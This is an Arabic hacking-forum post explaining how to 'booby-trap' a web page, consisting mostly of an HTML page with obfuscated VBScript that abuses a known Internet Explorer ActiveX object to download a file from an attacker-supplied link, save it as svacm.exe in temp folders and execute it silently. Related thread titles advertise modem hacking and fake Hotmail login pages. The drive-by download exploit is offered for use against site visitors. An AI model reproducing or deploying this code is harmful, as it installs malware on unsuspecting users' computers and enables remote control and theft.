bladi
هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.



 
الرئيسيةأحدث الصورالتسجيلدخول

 

 شرح كيفية تلغيم صفحة انترنت بباتش

اذهب الى الأسفل 
كاتب الموضوعرسالة
hackerx-pro




عدد المساهمات : 158
تاريخ التسجيل : 25/05/2011

شرح كيفية تلغيم صفحة انترنت بباتش  Empty
مُساهمةموضوع: شرح كيفية تلغيم صفحة انترنت بباتش    شرح كيفية تلغيم صفحة انترنت بباتش  I_icon_minitimeالإثنين سبتمبر 12, 2011 2:34 pm


<
html>

<
head>

<
title>Exploit-Protitle>

head>

<
body>

<
script type="text/vbscript">

on error resume next

Set df
= ********.createElement("object")

df.setAttribute "clas"&"sid", "clsid:BD96C"&"556-65A3-11D0-"&"983A-00C04F"&"C29E36"

str="Microsoft"&"."&"XMLHTTP"

Set x = df.CreateObject(str,"")

var1="Ad"

var2="od"

var3="b."

var4="St"

var5="re"

var6="am"

str1=var1&var2&var3&var4&var5&var6


str5
=str1

set S
= df.createobject(str5,"")

for
count = 0 to 4

S
.type = 1

lnk
="هنا نضع برابط الباتش المرفوع "

x.Open "G"&"E"&"T",lnk,0

x
.Send

set F
= df.createobject("Script"&"ing.FileSys"&"temObject" ,"")

if
count = 0 then tmp = "c:windowstemp" else if count = 1 then tmp = "c:" else if count = 2 then tmp = "c:temp" else if count = 3 then tmp = "d:windowstemp" else if count = 4 then tmp = "d:" end if

fname1= F.BuildPath(tmp,"
svacm.exe")

S.open

S.write x.responseBody

S.savetofile fname1,2

S.close

if err.number = 0 then

set Q = df.createobject("
****l.Application","")

Q.****lExecute fname1,"
INSTALL","","open",0

exit for

else

Err.Clear

End if

next










0
" src=" برابط الصوره هنا نضع"











الرجوع الى أعلى الصفحة اذهب الى الأسفل
 
شرح كيفية تلغيم صفحة انترنت بباتش
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1
 مواضيع مماثلة
-
»  أختراق المودم وسحب اشتراك انترنت
» تلغيم مقطع فيديو
» قنبلة المنتدى شرح لكيفية تلغيم تطبيقات فايسبووك بأحترافية
» إبداع صفحة مزورة طبق الأصل للهوتميل والتبليغ صارووووخ
» كيفية إسترجاع حساب الفيسبوك

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
bladi :: الحماية :: الحماية أجهزة-
انتقل الى: